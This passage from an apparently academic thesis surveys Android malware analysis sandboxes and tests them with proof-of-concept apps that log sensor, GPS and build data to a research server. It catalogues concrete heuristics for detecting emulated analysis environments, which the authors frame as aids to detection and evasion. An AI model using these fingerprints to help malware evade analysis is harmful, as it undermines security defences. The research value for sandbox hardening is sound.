CopperDroid provides various dynamic analysis techniques including network packet captures, event stimulation (e.g., device boot sequence, incoming calls, incoming SMS), and limited file access information [37]. No taint tracking is utilized in CopperDroid, and K. Tam et al. indicate they think taint analysis is flawed in general [37].

H. MOBILE-SANDBOX

Mobile-Sandbox28 was first made available for public submissions in January 2012 and by the following year it had analyzed over 150,000 Android applications [38]. Both static and dynamic analysis techniques are applied, but the developers of Mobile-Sandbox place an emphasis on analyzing actions executed in native libraries (C/C++ vice Java) bundled with applications that make calls to the Android JNI [39].

Static analysis is done through APK unpacking and examining the manifest for permissions declared and which Android application components are used [39]. A signature comparison is also performed against VirusTotal for known malware samples [39].

In addition to inspecting what native library calls are performed at runtime, Mobile-Sandbox does basic taint tracking utilizing TaintDroid [39]. MonkeyRunner is

---

28 Additional details regarding Mobile-Sandbox can be found at: http://mobilesandbox.org/
used for basic stimulation events such as incoming phone calls or SMS messages [39]. Although [39] indicates network traffic captures and runtime log files are captured as part of the dynamic analysis, this data does not seem to be provided in the public reports generated from each application’s submission.

I. SANDDROID

Similar to Android Sandbox, there was little information we could find publicly available regarding SandDroid. Some basic details are provided on the service’s website where APK files are submitted and additional information can be observed based on reports from previous APK submissions [40].

Static analysis includes basic metadata extraction from APK unpacking to include permissions declared, Android components listed, URL and IP extraction, and a listing of sensitive Android API calls such as the `TelephonyManager.getDeviceID` method, which returns unique identifiers such as IMEI or ESN numbers associated with devices [40]. Additionally, SandDroid lists other suspicious behaviors based on static analysis of source code that uses Java reflection, dynamic DEX class loading, and native code execution [40]. Lastly, SandDroid conducts static analysis through signature matching against known malware samples provided by VirusTotal [40].

Dynamic analysis of submitted applications to SandDroid includes network packet captures, file access information, phone and SMS monitoring, and data tainting [40]. After surveying several reports from previously submitted APK files, we observed file access information is robust with full path names and a capture of data actually written, similar to ANDRUBIS reports. Based on the SandDroid website and our survey of previous reports, it does not appear that SandDroid conducts any form of event stimulation.

---

29 Reports submitted to Mobile-Sandbox can be found at: http://mobilesandbox.org/reports
30 Additional details regarding SandDroid can be found at: http://sanddroid.xjtu.edu.cn/
J. TRACEDROID

TraceDroid\textsuperscript{31} is another online APK submission service that provides both static and dynamic analysis. Although it provides many of the same techniques as other services we researched, TraceDroid’s generated report results are much more basic and lack the noticeable HTML presentation display all other services use. Results are provided as multiple log files in zipped archive file format (\texttt{*.tar.gz}). Additionally, previously submitted APK files are only found if one knows the MD5, SHA1, or SHA256 hash value of the APK. Most other services allow for general browsing through reports from previously submitted applications.

Static analysis techniques provided by TraceDroid primarily consist of APK unpacking for metadata extraction to include permissions declared and Android application components listed \cite{41}. TraceDroid also appears to be one of the few services we surveyed which does not utilize some form of signature comparison against known malware samples, such as through use of VirusTotal submissions.

Dynamic analysis provided by TraceDroid focuses on results generated from method tracing and event stimulation, including location changes, incoming phone calls, SMS messages, device boot sequence actions, battery level variations, and MonkeyRunner input \cite{41}. Additionally, network packet captures are performed and Dalvik log captures are also provided \cite{41}.

K. VISUALTHREAT

Similar to Android Sandbox and SandDroid, there was little information we could find publicly available regarding VisualThreat.\textsuperscript{32} The website does allow email requests for a whitepaper (more marketing in nature than technical) which provides basic information. This whitepaper, combined with what we observed from our own APK submissions to VisualThreat, gave us some insight into the service.

\textsuperscript{31} Additional details regarding TraceDroid can be found at: http://tracedroid.few.vu.nl/index.php

\textsuperscript{32} Additional details regarding VisualThreat can be found at: https://www.visualthreat.com/
Static analysis techniques provided by VisualThreat probably consists of APK unpacking for metadata extraction to include permissions declared and Android application components listed (with the exception of Broadcast Receivers). Signature comparison against known malware samples is performed with results given from *VirusTotal, VirusImmune,*\(^{33}\) and *AndroTotal.*

Both static analysis and dynamic analysis for VisualThreat appears to be categorized across a *scan or action matrix,* as listed in resulting reports generated after APK submissions. The matrices have multiple sections, including: (1) *Info Leakage,* which likely indicates taint tracking is performed against SMS, contacts, phone call history, and location data; (2) *Monitor Activity,* which likely indicates when an application utilizes location data; (3) *Networking Activities,* which provides IP addresses, ports, URL and possibly contents sent using network calls; (4) *SMS Activities,* likely indicates when an application accesses SMS messages stored on the phone, blocks incoming messages, etc.; (5) *File Operations,* which details what files and how each file is accessed (Read/Write), as well as data written out; (6) *Embedded Commands,* which indicates when an application attempts to execute GNU-Linux commands, possibly to escalate privileges or escape application sandboxing.

\(^{33}\) Information regarding VirusImmune can be found at: http://virusimmune.com/
IV. ANDROID EMULATOR ENUMERATION THROUGH DYNAMIC SENSORS AND RESOURCES

This chapter details multiple proof-of-concept Android applications we developed to test the previously mentioned services introduced in Chapter III. Our tests are focused on exploring how these Android malware analysis services attempt to emulate not only physical hardware features (e.g., location data from a GPS receiver), but dynamic resources on a phone as well (e.g., contacts, call logs, SMS, etc.). By enumerating and observing what data values and attributes are provided (or not provided), we hoped to discern noticeable differences between analysis services and physical devices that would aid in our detection and evasion techniques detailed in Chapter V.

A. METHODOLOGY

Each Android application we developed attempts to capture basic data values and attributes of a sensor, hardware feature, or other dynamic resource. These data values and attributes are directly accessible through proper Android API method calls and, when required, proper Android permissions declared in the AndroidManifest.xml configuration file. We do not attempt to circumvent or exploit any Android platform feature for purposes of these tests.

To account for differing API levels supported by the four physical devices and nine analysis services tested, we were required to support Android API levels 8 through level 21.\footnote{A listing of Android API levels, corresponding Android OS version numbers, and code names is given at: http://developer.android.com/guide/topics/manifest/uses-sdk-element.html#ApiLevels} Therefore, all applications we have developed include a declaration for minSdkVersion equal to 8, and targetSdkVersion equal to 21 as part of the AndroidManifest.xml.

In order to capture results of the tests being performed by each application, we setup an Amazon EC2\footnote{Amazon EC2 services are provided at: http://aws.amazon.com/ec2/} instance running a basic Apache web server (version 2.4.7) with PHP (version 5.5.9). Each application included method calls to perform HTTP POST...
requests to our EC2 instance, with all results being stored in name-value pairs. Simple
PHP scripts on the server parsed out POST parameters and wrote them to individual log
files for later retrieval via SFTP (one log file per each analysis tool tested for every
application). To accomplish this, the AndroidManifest.xml file required two
permissions to be declared: android.permission.INTERNET and android.
permission.ACCESS_NETWORK_STATE. \(^{36}\)

Originally, each sensor, hardware feature, or dynamic resource we wanted to test
required only one application (and one corresponding APK file) to be built. After
submitting APK files to each service however, we began observing timing issues and log
files being modified after we had thought the malware tools had completed their runtime
analysis. To better account for these differences, we modified each proof-of-concept
application to have 13 different versions (four to account for physical devices we tested,
and nine for the analysis services). The only difference across the 13 versions for an
individual proof-of-concept application is the URL chosen for submitting the data values
and attributes via HTTP POST parameters. For example, the application submitted to
ANDRUBIS for listing which sensors were available during runtime utilized
http://54.86.68.241/sensorlist/andrubis.php as the logging address,
whereas the corresponding version of the same application submitted to APKScan utilized
http://54.86.68.241/sensorlist/apkscan.php. This also provided us with
separate MD5 hash values for each application built. Tables with MD5 hash values, as well
as corresponding application source code, are provided in Appendix A.

In addition to sending all results to our EC2 instance via HTTP for logging,
results are displayed on the Android device or emulator screen using a TextView\(^ {37}\)
object. Several of the services provided screen captures of submitted applications during
runtime as part of their resulting report, so this served as a secondary measure for
capturing data generated from each service.

\(^{36}\) API documentation for Android Manifest permissions is provided at:

\(^{37}\) API documentation for Android TextView objects is provided at:
During runtime of each Android application, we also captured various static heuristics about the device or emulator performing code execution. The Android \texttt{android.os.Build} API provides various public member fields such as \texttt{Build.DEVICE}, \texttt{Build.BRAND}, \texttt{Build.MANUFACTURER}, \texttt{Build.MODEL}, \texttt{Build.PRODUCT}, \texttt{Build.BOARD}, and \texttt{Build.VERSION.SDK_INT}, which all give some insight as to the type of hardware and operating system version (i.e., Android API level) utilized for executing an application. This design allowed us to observe several instances where an application we submitted to a single analysis service was executed by at least two separate environments with differing features (e.g., different API levels).

The remainder of this chapter details each different application test and the results observed by running an application on four physical devices (Samsung Galaxy S4, Samsung Galaxy S5, Samsung Galaxy Note 4, and LG Nexus 5) and within nine different analysis services.

B. SENSORLIST APPLICATION

1. Android Sensor Overview

As stated on the Android Open Source Project (AOSP) website:

Android sensors give applications access to a mobile device’s underlying physical sensors. They are data-providing virtual devices defined by the implementation of \texttt{sensors.h}, the sensor Hardware Abstraction Layer (HAL).\textsuperscript{39} [42]

Data provided by these types of virtual sensors comes from corresponding physical hardware features onboard systems running Android such as accelerometers, gyroscopes, magnetometers, barometer, humidity sensors, pressure sensors, light sensors, and proximity sensors. Not all physical features are associated with Android defined sensors. For instance, the GPS receiver onboard a device might be considered by most as a location sensor; however, Android makes separate distinctions for several other hardware features such as GPS and provides other APIs for accessing those features. The

\textsuperscript{38} API documentation for Android \texttt{Build} objects is provided at: \url{http://developer.android.com/reference/android/os/Build.html}

\textsuperscript{39} Source code \texttt{sensors.h} provided at \url{http://source.android.com/devices/halref/sensors_8h.html}
AOSP website\textsuperscript{40} comments that this distinction is somewhat arbitrary, but goes on to state it is commonly based on whether a physical feature is providing lower bandwidth data (e.g., accelerometers) or higher bandwidth data (e.g., cameras), with the former being implemented as Android sensors, and accessible through the Android Sensor API \textsuperscript{[42]}. 

Each Android sensor has an associated sensor type, which is accessed via the Sensor\texttt{.getType}\textsuperscript{41} method call, and multiple sensors can have the same type on a single device. Official Android sensor types are defined in sensors.h and are documented within the Android SDK APIs, describing what data attributes and methods can be called utilizing that sensor \textsuperscript{[42]}. Manufacturers implementing Android on their devices may utilize hardware not defined by Android open-source specifications and therefore assign new temporary types to support corresponding sensors \textsuperscript{[42]}. This is also evidenced by our testing of the SensorList application on four physical devices, shown in Table 5.

2. Application Details

The SensorList application is extremely basic in functionality. No additional Android permissions are required to be declared in the AndroidManifest.xml file beyond those required for networking purposes as discussed earlier in this chapter. At its core, the application makes use of the android.hardware.SensorManager\textsuperscript{42} and android.hardware.Sensor\textsuperscript{43} APIs. After instantiating a SensorManager object, a for-each loop iterates across the available sensors, adding the sensor type and

\begin{itemize}
  \item \textsuperscript{40} Additional details regarding Android sensors can be found at: http://source.android.com/devices/sensors/index.html
  \item \textsuperscript{41} Additional guidance regarding Android sensors is provided at: https://developer.android.com/guide/topics/sensors/sensors_overview.html
  \item \textsuperscript{42} API documentation for Android SensorManager objects is provided at: https://developer.android.com/reference/android/hardware/SensorManager.html

\end{itemize}

36
the sensor name-value pair to a `java.util.List` object, which is later used for sending the HTTP POST requests to our EC2 server. A small snippet of source code from the `onCreate` method (i.e., the primary entry point) for SensorList is shown in Figure 7. MD5 hash values for each APK file submitted and additional source code are provided in Appendix A.

![Code snippet for onCreate in the SensorList app.](source-code-snippet.png)

### 3. Results

A listing of the 25 officially documented Android sensor types\(^{45}\) and sensor names cross-matched against the devices and services we tested are provided in Table 4. Checkmarks are listed where a sensor type was indicated as being implemented by a physical device or by a malware analysis environment (via method call return values). A listing of unofficial Android sensor types and sensor names is provided Table 5. Approximately one-third of the sensor types have been available since Android API level 3 (types 1–8). Several were added in API levels 9 and 14 (types 9–13), while the remainders were added in API levels 18 through 21 (types 14–25).

#### 4. Discussion

Our results provided several insights based upon what sensors were listed as being implemented by each individual analysis service.

First, none of the services implemented any manufacturer-specific sensor types (i.e., unofficial sensor types with numbers above 25). Although we only examined four physical devices, each device had at least one manufacturer-specific sensor type, with the LG Nexus 5 indicating eight different ones. More physical devices would need to be tested with our SensorList application, but these initial results indicate it may be possible to detect an emulated runtime environment simply by looking for at least one manufacturer-specific sensor type.
Second, five of the nine services provided the exact same five sensor types: ACCELEROMETER, GEOMAGNETIC_FIELD, ORIENTATION, TEMPERATURE, and PROXIMITY. The other services provided one or zero sensor types as implemented. The physical devices all gave results indicating at least 17 sensor types. Based on these initial results we believe the number of sensor types implemented to be a good heuristic for detection of emulated runtime environments. Again, more physical devices would need to be tested to determine if this assertion holds. Interestingly, the aforementioned five sensor types are exactly the same five sensor types provided by an Android SDK default virtual device (AVD), which we confirmed by running SensorList in a default AVD. This suggests the runtime environments for these services are likely built upon a default-provided AVD as a starting foundation.

Third, none of the physical devices we tested provided the TEMPERATURE sensor type; however, five of the analysis services did. It would be interesting to test additional modern Android devices (no older than two years on market) to determine if there is a trend to move away from implementing this sensor type, especially since it was deprecated in API level 14 (i.e., modern devices shouldn’t still implement this sensor type per Android recommendation). At this time however, we do not believe it would serve as a good heuristic because it is likely there are still a large number of devices in use that do provide this sensor type.

Lastly, though not indicated by Tables 4 or 5, the sensor names associated with each of the sensors provided by the malware analysis services all began with the string Goldfish. For instance, the VisualThreat sensor name for its accelerometer is Goldfish 3-axis Accelerometer, whereas the Samsung Galaxy S4 sensor name for its accelerometer is K330 Acceleration Sensor. This Goldfish string is likely an artifact left over by the analysis services building upon an Android SDK-provided Android Virtual Device (AVD) as a starting foundation for their runtime environments.

46 Android Virtual Devices (AVD) details can be found at: https://developer.android.com/tools/devices/managing-avds.html

47 Sensor constant TYPE_TEMPERATURE is listed as deprecated at: http://developer.android.com/reference/android/hardware/Sensor.html#TYPE_TEMPERATURE
We verified this assumption by running SensorList against a default AVD where we received equal sensor outputs with the *Goldfish* naming convention. We conclude that inspecting sensor names would also serve as a good heuristic for detecting emulated Android environments. Sensor names given by the various services we tested are listed in Table 6.

C. LOCATIONGPS AND LOCATIONNETWORK APPLICATIONS

1. Android Location Overview

The Android platform provides developers two separate methodologies (i.e., framework APIs) for accessing and utilizing location data (e.g., GPS, cell tower, or Wi-Fi location). Their recommended method for utilizing location services is via the recently published Google Location Services API,\(^{48}\) part of Google Play Services [43]. This method requires developers to include the additional Google Play Services SDK while

\(^{48}\) Google Location Services API details are provided at: https://developer.android.com/google/play-services/location.html
building their applications. Additionally, devices (or emulators) that run location-aware apps using Google Location Services API require Google Play Services to be installed on the device. For two of the more common Android emulators (the default Android SDK emulator and GenyMotion\textsuperscript{49}), this presents problems as Google Play Services is not typically installed by default, nor can it be easily installed based on our testing. The second (and more traditional way) of accessing and utilizing location data is via the android.location\textsuperscript{50} API. This is the method we chose for developing our LocationGPS and LocationNetwork applications detailed in the subsequent sections.

At a high level, the android.location API has three primary classes for dealing with location information: Location,\textsuperscript{51} LocationManager,\textsuperscript{52} and LocationProvider.\textsuperscript{53} The Location class provides attributes and methods for data representing physical geographic locations (e.g., latitude, longitude, time location was provided). The LocationManager class provides access to the Android system’s location services, and the LocationProvider serves as a virtual superclass for different types of location providers such as GPS_PROVIDER or NETWORK_PROVIDER. All locations generated by a LocationManager are guaranteed to have a valid latitude, longitude, and timestamp; other parameters like accuracy or altitude are optional for a given location generated \cite{44}. In addition to the higher-level API classes for utilizing location data, our LocationGPS application makes use of the GPSSatellite\textsuperscript{54} API for accessing attributes of the satellite data received when a GPS location fix is obtained.

\textsuperscript{49} Downloads and documentation for GenyMotion is provided at: https://www.genymotion.com/
\textsuperscript{50} Android Location summarized details are provided at: https://developer.android.com/reference/android/location/package-summary.html
\textsuperscript{51} API documentation for Android Location objects are provided at: https://developer.android.com/reference/android/location/Location.html
\textsuperscript{52} API documentation for Android LocationManager objects are provided at: https://developer.android.com/reference/android/location/LocationManager.html
\textsuperscript{53} API documentation for Android LocationProvider objects are provided at: https://developer.android.com/reference/android/location/LocationProvider.html
\textsuperscript{54} API documentation for Android GPSSatellite objects are provided at: https://developer.android.com/reference/android/location/GpsSatellite.html
Additional Android permissions beyond those required for sending network traffic from our applications had to be declared in the AndroidManifest.xml file for accessing locational data. LocationGPS requires android.permission.ACCESS_FINE_LOCATION, and LocationNetwork requires android.permission.ACCESS_COARSE_LOCATION.

2. Application Details

The main entry point for the LocationGPS and LocationNetwork apps is the onCreate life cycle method. A small code snippet of this method is provided in Figure 8. First, a LocationManager is instantiated and then the isProviderEnabled method is called to verify a GPS or Network LocationProvider is available on the device or emulator executing the application. If the provider is not enabled, an error message is displayed onscreen and sent via HTTP POST request to our EC2 instance. If the provider is enabled, getLastKnownLocation is called to determine whether any current locational data is available without waiting for new updates from the provider.
Figure 8. Code snippet for `onCreate` in the LocationGPS app.

New location and GPS satellite updates for the provider are caught by event listener methods as shown in Figure 9. New updates are displayed onscreen and then sent to our EC2 instance.
The Location API provides multiple methods for accessing locational data values such as: accuracy, altitude, bearing, latitude, longitude, number of satellites used for a GPS location fix, the type of LocationProvider, speed, and time of location. The GPSSatellite API also provides multiple methods for accessing various attributes of the received satellite data used to generate a GPS location. These include: azimuth, elevation, signal-to-noise ratio, and a pseudorandom number associated with the satellite. Our LocationGPS app collects all of this data on each update, while our LocationNetwork app collects all of the same data except values associated with satellite data.\textsuperscript{55}

\textsuperscript{55} Location data from network type providers is based on cell tower and known Wi-Fi access points.
MD5 hash values for each APK file submitted and additional source code are provided in Appendix A.

3. Results

A listing of the various attributes associated with a location as obtained during runtime execution of the LocationGPS app, as well as attributes from satellite data obtained from GPS location fixes is provided in Table 7. Listings of the same attributes obtained during runtime execution of the LocationNetwork app are given in Table 8. Checkmarks are listed where values were given other than default (i.e., other than zero or null), therefore suggesting the attribute is being implemented. We provide additional details regarding the actual values logged while running the applications in the subsequent discussion section.

4. Discussion

Our results provided several insights based upon which types of location providers were present, whether location data was provided, and what type of quality the data showed when it was provided.

The first noticeable dynamic heuristic was none of the analysis services provided more than one update to location data when location providers were enabled. During executions of the LocationGPS app on all four physical devices, multiple new location updates were provided usually within a short period of time (i.e., under a minute).

Although it is feasible the GPS receiver on a device could be turned off or could lose signal immediately after one update, we feel confident that the testing for multiple location updates in a short period of time would allow detection of an emulated runtime environment, specifically when a GPS location provider is initially enabled. The same
assertion is harder to make when locations are generated from a Network provider. Location updates may not happen if a device’s location is associated with a Wi-Fi access point and never leaves the access point’s proximity. Our testing of the LocationNetwork app shows this when all four physical devices never receive multiple updates.

The next noticeable heuristic was all locations generated by GPS providers in the analysis environments lacked any satellite data attributes. In fact, when an analysis environment provided a GPS location, the number of satellites used in the location fix was zero. In contrast, all four physical devices we tested provided all satellite data attributes and the location fixes for each device ranged between six to twelve satellites being used. This result indicates satellite counts across GPS location updates would allow detection of an emulated runtime environment.

Another noteworthy heuristic was how believable the locations generated by GPS or Network providers are. Of the three GPS locations obtained, one service gave coordinates in the ocean off the coast of Somalia (Mobile-Sandbox), another gave coordinates in the middle of the Arabian Sea (SandDroid), and a third service gave coordinates in Antarctica (CopperDroid), as shown in Figure 10. Interestingly, ANDRUBIS and TraceDroid both provided the exact same location data (using a Network provider). The latitude and longitude for this location placed it near an urban location of China. Also noteworthy was how much accuracy was given in the latitude and longitude values. Most values went out to 14 or 15 decimal places; however, SandDroid’s locational data gave latitude of 14.0 N and longitude of 64.0 E. The exact latitude and longitude coordinates for each service that gave results in our testing is provided in Table 9.
Figure 10. Coordinates provided by CopperDroid from execution of LocationGPS and plotted in Google Maps

</table>
The last dynamic heuristic we observed was the value provided by the `Location.getTime` method for each location obtained. Both ANDRUBIS and TraceDroid provided a value of 1342232104000, which equates to 14 July 2012 02:15:04 UTC. CopperDroid provided a value of 1343174400000, which equates to 25 July 2012 00:00:00 UTC. SandDroid provided a value of 1417449600000, which equates to 01 December 2014 16:00:00 UTC. Only, Mobile-Sandbox’s value was reasonably accurate at 1423036800000, which equates to 04 February 2015 08:00:00 GMT. This suggests that the value for a location’s time could be used as a dynamic heuristic for detecting emulated environments. It is worth noting however, that the time returned is based on the time specified in the Android system when a location is obtained, not based on data received via satellite, cell tower, or Wi-Fi access point. Though unlikely, it is possible a device could have the incorrect time and therefore inaccurately portray that time in a location update.

Although we submitted APK files to each of the nine analysis environments at least twice, further submissions would likely provide more accurate results. For instance, initial submissions for CopperDroid did not result in any location information, while later submissions did. This was similar across several services and likely indicates different runtime environments being used for scaled analysis, including physical devices vice emulated environments (i.e., different virtual or physical servers executing various runtime environments for analysis). Our results and the conclusions we have drawn above would greatly benefit from additional submissions in order to do a statistical comparison across locational data generated for each service. For instance, new trends could emerge from multiple submissions that indicate services only using a set number of static locations.

---

56 `getTime` returns the UTC time of a location fix, in milliseconds since January 1, 1970 (commonly called POSIX, UNIX, or Epoch time).
D. ACCELEROMETER SENSOR APPLICATION

1. Android Accelerometer Overview

The accelerometer sensor (Sensor.TYPE_ACCELEROMETER) belongs to a group within the Android platform known as motion sensors, which includes others such as the gyroscope, rotation vector, and step counter sensors.

Conceptually, an acceleration sensor determines the acceleration that is applied to a device ($A_d$) by measuring the forces that are applied to the sensor itself ($F_s$) using the following relationship:

$$A_d = -\sum F_s / \text{mass}$$

However, the force of gravity is always influencing the measured acceleration according to the following relationship:

$$A_d = -g - \sum F_s / \text{mass}$$

For this reason, when the device is sitting on a table (and not accelerating), the accelerometer reads a magnitude of $g = 9.81 \text{ m/s}^2$. Similarly, when the device is in free fall and therefore rapidly accelerating toward the ground at $9.81 \text{ m/s}^2$, its accelerometer reads a magnitude of $g = 0 \text{ m/s}^2$. [45]

The android.hardware.SensorManager and android.hardware.Sensor APIs provide access to all sensor objects and their generic attributes such as the sensor’s vendor name and version number. The android.hardware.Sensor Event and android.hardware.SensorEventListener APIs provide access for capturing new sensor events (i.e., changes in sensor values) and the corresponding data for the sensor that caused an event to trigger. Values returned by an acceleration sensor event include the acceleration forces along the $x$, $y$, and $z$-axis. The Android coordinate system used by most sensors, as defined relative to the device’s screen when the device is held in its default orientation, is depicted in Figure 11. Note that not all

devices have a portrait orientation as default; many tablets' default orientation is landscape.

![Coordinate system](image)

Figure 11. Coordinate system (relative to a device) used by the Sensor API, from [46].

2. Application Details

Similar to the SensorList application we developed, the Accelerometer application does not require additional Android permissions to be declared in the AndroidManifest.xml file beyond those required for networking purposes. The onCreate life cycle callback method (i.e., the main application entry point) instantiates a Sensor object of TYPE_ACCELEROMETER, provided the runtime environment has an accelerometer sensor available. If an accelerometer sensor is available, the generic sensor data is displayed and logged to our EC2 server. The onResume life cycle callback method registers the SensorEventListener for capturing new sensor value changes and the onSensorChanged event method keeps track of how many sensor events happen prior to displaying and logging event data to our EC2 server. Code snippets from the
Accelerometer application for methods used to capture, set, and send event data associated with an accelerometer are shown starting at Figure 12. MD5 hash values for each APK file submitted and additional source code are provided in Appendix A.

```java
@Override
protected void onCreate(Bundle savedInstanceState) {
    super.onCreate(savedInstanceState);
    setContentView(R.layout.activity_accelerometer_main);

    txtResults = (TextView) this.findViewById(R.id.txtResults);

    // Setup Accelerometer Manager and Provider
    sensorManager = (SensorManager) getSystemService(SENSOR_SERVICE);
    mAccelerometer = sensorManager.getDefaultSensor(Sensor.TYPE_ACCELEROMETER);

    sendDeviceData();
    sendDeviceData();
    sendDeviceData();

    if (mAccelerometer == null) {
        setErrorMsg("No Accelerometer Detected");
        showErrorMsg();
        sendErrorMsg();
    } else {
        setSensorData();
        showSensorData();
        sendSensorData();
    }
}
```

Figure 12. Code snippet for `onCreate` in the Accelerometer app.

```java
private void setSensorData() {
    sensorMaxRange = mAccelerometer.getMaximumRange();
    sensorPower = mAccelerometer.getPower();
    sensorResolution = mAccelerometer.getResolution();
    sensorVendor = mAccelerometer.getVendor();
    sensorVersion = mAccelerometer.getVersion();

    paramsSensor.add(new BasicNameValuePair("Max Range", String.valueOf(sensorMaxRange)));
    paramsSensor.add(new BasicNameValuePair("Power", String.valueOf(sensorPower)));
    paramsSensor.add(new BasicNameValuePair("Resolution", String.valueOf(sensorResolution)));
    paramsSensor.add(new BasicNameValuePair("Vendor", String.valueOf(sensorVendor)));
    paramsSensor.add(new BasicNameValuePair("Version", String.valueOf(sensorVersion)));
}
```

54
3. Results

Results for the various sensor and sensor event attributes obtained during runtime execution of the Accelerometer application are provided in Table 10. We performed testing on the physical devices by executing the application while each device was lying flat on a table with the screen pointed upward. This is indicated by a positive force along the z-axis closely measured to the force of gravity. Average values were obtained for forces along each axis across the number of sensor event changes, which was limited to 20 in our source code. Note that many values within the table are rounded off for formatting purposes.

²⁵⁹ Sensor resolution is defined in the Android sensors.h source code as the smallest difference between two values reported by a sensor.

²⁶⁰ In our testing, most physical devices gave a realistic vendor name, while analysis services always gave a generic vendor name of The Android Open Source Project. The letter R or the letter G is used to represent realistic or generic names, respectively.

²⁶¹ Event accuracy for a sensor typically falls into one of five statuses as defined in the SensorManager API: SENSOR_STATUS_ACCURACY_HIGH (3), SENSOR_STATUS_ACCURACY_LOW (1), SENSOR_STATUS_ACCURACY_MEDIUM (2), SENSOR_STATUS_NO_CONTACT (-1), and SENSOR_STATUS_UNRELIABLE (0).

---

62 Event time is given in nanoseconds elapsed, but the reference or base for which this time has elapsed from varies across Android implementations based on our research (i.e., sometimes the reference is device uptime and sometimes it is POSIX time).
4. Discussion

Our results provided several insights based upon the sensor and sensor event attributes obtained after executing the Accelerometer application on four physical devices and within the nine analysis service runtime environments.

The most significant dynamic heuristic discovered during our testing was that each attribute (with the exception of time elapsed) showed the same values across all analysis services that provided sensor event updates. Specifically, the values provided for acceleration force were always $0.0 \ m/s^2$ along the x-axis, $9.77622 \ m/s^2$ along the y-axis, and $0.813417 \ m/s^2$ along the z-axis. Based on this result, detection of emulated runtime environments is likely possible by looking for consistent, static values of acceleration forces along each of the axes. Also of note, the consistent force of $9.77622 \ m/s^2$ (close to the force of gravity) along the y-axis suggests the emulated device is simulated being held upright at rest or perhaps docked. This differs than our testing of the physical devices where the force of gravity was exerted along the z-axis because the devices were laying on a table with their screens pointed upward.

Another significant dynamic heuristic discovered during our testing was the vendor name associated with each analysis service’s implemented accelerometer sensor. The four physical devices tested had vendor names of InvenSense (Samsung Galaxy S5, Samsung Galaxy Note 4, LG Nexus 5) and STMicroelectronics (Samsung Galaxy S4). All analysis services provided a vendor name of The Android Open Source Project. Based on this result, detection of emulated runtime environments is likely possible by looking for a sensor vendor name matching the aforementioned string value.

Other noteworthy dynamic heuristics discovered were associated with sensor power values and sensor maximum range values. The power consumption indicated by the accelerometer sensor on each of the physical devices was less than or equal to $0.4 \ mA$, while each of the analysis services indicated a power consumption of $3.0$—roughly 7.5 to 12 times the value of the physical devices. The sensor maximum range value for each of the analysis services was $2.8 \ m/s^2$ — a value significantly lower
than the physical devices’ maximum sensor range (with 19.6 \text{ m/s}^2 being the lowest of those). More telling, however, is that the maximum value of 2.8 \text{ m/s}^2 given by the analysis services suggests incorrect implementations. Values given along the y-axis at 9.77622 \text{ m/s}^2 are above this maximum value (and were likely implemented so as to be close to the force of gravity, thereby suggesting a device at rest).

The event timestamps associated with each analysis service also gave indication of emulated runtime environments. The time elapsed (defined as the difference between the first accelerometer sensor event and the last) we calculated from the physical devices at rest and executing our application was significantly lower than the calculated time elapsed for each of the analysis services. Considering that the resolution on the physical devices was larger than those recorded of the analysis services (approximately 6.0E-4 compared to 3.0E-4, respectively), the analysis services’ runtime environments should be more responsive to slight changes in accelerometer sensor events and therefore have shorter, or at least closer, time elapsed values. This result suggests a higher threshold value on time elapsed for a given number of accelerometer sensor events could be used as a means of detecting emulated runtime environments.

Interestingly, the Android Sandbox analysis service gave sensor attribute data but did not provide any actual sensor updates based on accelerometer value changes. Additionally, CopperDroid was thought to implement an accelerometer based on our findings after executing the SensorList application (see Section B of this chapter); however, no device or sensor data was logged to our EC2 server. It is possible in both cases the analysis services executed our application, generated accelerometer data, and for some reason did not send the data across their networks or that the data was interrupted in transit. Network PCAP data provided by each of the analysis services’ reports gave no further insight.

E. MAGNETIC FIELD SENSOR APPLICATION

1. Android Magnetic Field Overview

The magnetic field sensor (Sensor\_TYPE\_MAGNETIC\_FIELD) belongs to a group within the Android platform known as position sensors, which includes others such
as the orientation, game rotation vector, and proximity sensors. The magnetic field sensor allows a device to monitor changes in the earth’s magnetic field, given in microteslas (µT) along each of the three coordinate axes [47], similar to the coordinate system in Figure 11. Although there are multiple purposes for these types of sensors, the primary one is for determining a device’s physical position in the earth’s frame of reference. An example of this would be using the magnetic field sensor in combination with the accelerometer to determine a device’s position relative to the magnetic North Pole [47].

Similar to the accelerometer sensor, the android.hardware.Sensor Manager and android.hardware.Sensor APIs provide access to all sensor objects and their generic attributes such as the sensor’s vendor name and version number. The android.hardware.SensorEvent and android.hardware.SensorEventListener APIs provide access for capturing new sensor events (i.e., changes in sensor values) and the corresponding data for the sensor that caused an event to trigger.

2. Application Details

The Magnetic Field application we developed does not require additional Android permissions to be declared in the AndroidManifest.xml file beyond those required for networking purposes. The onCreate life cycle callback method (i.e., the main application entry point) instantiates a Sensor object of TYPE_MAGNETIC_FIELD, provided the runtime environment has a magnetic field sensor available. If the sensor is available, the generic sensor data is displayed and logged to our EC2 server. The onResume life cycle callback method registers the SensorEventListener for capturing new sensor value changes and the onSensorChanged event method keeps track of how many sensor events happen prior to displaying and logging event data to our EC2 server. The methods used to capture, set, and send event data associated with a magnetic field sensor are exactly the same (or very similar) to those used in the Accelerometer application and depicted in Figure 12. MD5 hash values for each APK file submitted and additional source code are provided in Appendix A.
3. **Results**

Results for the various sensor and sensor event attributes obtained during runtime execution of the Magnetic Field application are provided in Table 11. We performed testing on the physical devices by executing the application while each device was lying flat on a table with the screen pointed upward. Average values were obtained for magnetic field values along each axis across the number of sensor event changes, which was limited to 20 in our source code. Note that many values within the table are rounded off for formatting purposes.

\(^{66}\) Event time is given in nanoseconds elapsed, but the reference or base for which this time has elapsed from varies across Android implementations based on our research (i.e., sometimes the reference is device uptime and sometimes it is POSIX time).
4. Discussion

Similar to our Accelerometer application results, the most significant dynamic heuristic discovered during testing of the Magnetic Field application was that each attribute (with the exception of time elapsed) showed the same values across all analysis services that provided sensor event updates. Specifically, the values provided for recorded magnetic field due to sensor event updates were always \(0.0 \mu T\) along the x, y, and z-axis. Based on this result, detection of emulated runtime environments is likely possible by looking for consistent, static values of \(0.0 \mu T\) given from each sensor update event.

